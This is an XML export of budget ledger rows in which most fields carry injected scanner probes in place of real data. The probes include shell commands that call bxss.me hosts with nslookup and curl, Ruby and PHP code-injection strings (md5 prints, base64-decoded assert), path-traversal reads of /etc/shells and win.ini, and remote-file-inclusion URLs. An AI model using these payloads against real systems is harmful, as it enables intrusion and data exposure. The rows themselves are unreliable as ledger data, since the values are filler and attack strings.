<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>&amp;nslookup -q=cname hitobaohcmpefd8760.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitobaohcmpefd8760.bxss.me&amp;`'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>$(nslookup -q=cname hiteuvtvsicit9e14b.bxss.me||curl hiteuvtvsicit9e14b.bxss.me)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>'A'.concat(70-3).concat(22*4).concat(106).concat(76).concat(122).concat(77)+(require'socket'
Socket.gethostbyname('hittf'+'ytakuixo8552b.bxss.me.')[3].to_s)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>(nslookup -q=cname hitkgwvrbogdy1f37c.bxss.me||curl hitkgwvrbogdy1f37c.bxss.me))</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'A'.concat(70-3).concat(22*4).concat(118).concat(88).concat(118).concat(69)+(require'socket'
Socket.gethostbyname('hithi'+'flxqvwlmb3eaf.bxss.me.')[3].to_s)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>bxss.me</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>&amp;echo djmpqr$()\ fycaws\nz^xyu||a #' &amp;echo djmpqr$()\ fycaws\nz^xyu||a #|" &amp;echo djmpqr$()\ fycaws\nz^xyu||a #</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU&amp;n952776=v940531</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>'+'A'.concat(70-3).concat(22*4).concat(108).concat(90).concat(101).concat(67)+(require'socket'
Socket.gethostbyname('hitns'+'ierdonmac8305.bxss.me.')[3].to_s)+'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>http://bxss.me/t/fit.txt%3F.jpg</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>expr 9000732237 - 956943</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>"+"A".concat(70-3).concat(22*4).concat(102).concat(85).concat(108).concat(66)+(require"socket"
Socket.gethostbyname("hitzu"+"teobjtzb7b55f.bxss.me.")[3].to_s)+"</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1&amp;n945967=v992588</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'+'A'.concat(70-3).concat(22*4).concat(118).concat(73).concat(121).concat(76)+(require'socket'
Socket.gethostbyname('hitup'+'vcabstmk5f990.bxss.me.')[3].to_s)+'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>c:/windows/win.ini</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>echo ymawro$()\ muvqvg\nz^xyu||a #' &amp;echo ymawro$()\ muvqvg\nz^xyu||a #|" &amp;echo ymawro$()\ muvqvg\nz^xyu||a #</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>"+"A".concat(70-3).concat(22*4).concat(113).concat(69).concat(106).concat(78)+(require"socket"
Socket.gethostbyname("hitva"+"udmoqzoadcbae.bxss.me.")[3].to_s)+"</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>../../../../../../../../../../../../../../etc/shells</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>/etc/shells</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>'.print(md5(31337)).'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>${@print(md5(31337))}</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1&amp;n942922=v940415</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>";print(md5(31337));$a="</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>'+'A'.concat(70-3).concat(22*4).concat(114).concat(88).concat(98).concat(73)+(require'socket'
Socket.gethostbyname('hitsd'+'rqsfgnfcb878e.bxss.me.')[3].to_s)+'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1&amp;n946214=v954802</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>${@print(md5(31337))}</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>";print(md5(31337));$a="</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>';print(md5(31337));$a='</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'+'A'.concat(70-3).concat(22*4).concat(121).concat(86).concat(121).concat(87)+(require'socket'
Socket.gethostbyname('hitmp'+'sksftphcf779b.bxss.me.')[3].to_s)+'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'.print(md5(31337)).'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>"+"A".concat(70-3).concat(22*4).concat(112).concat(81).concat(104).concat(65)+(require"socket"
Socket.gethostbyname("hitdu"+"hfbkmkgf5a7bf.bxss.me.")[3].to_s)+"</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>${@print(md5(31337))}\</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102&amp;n953058=v922062</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>";print(md5(31337));$a="</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1&amp;n981449=v937976</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>${@print(md5(31337))}\</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>';print(md5(31337));$a='</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>'A'.concat(70-3).concat(22*4).concat(104).concat(72).concat(101).concat(68)+(require'socket'
Socket.gethostbyname('hitzg'+'dobfsgtjc739e.bxss.me.')[3].to_s)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>"+"A".concat(70-3).concat(22*4).concat(116).concat(68).concat(114).concat(72)+(require"socket"
Socket.gethostbyname("hitff"+"pktjqiji56131.bxss.me.")[3].to_s)+"</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU&amp;n985654=v905705</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>'.print(md5(31337)).'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>${@print(md5(31337))}\</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
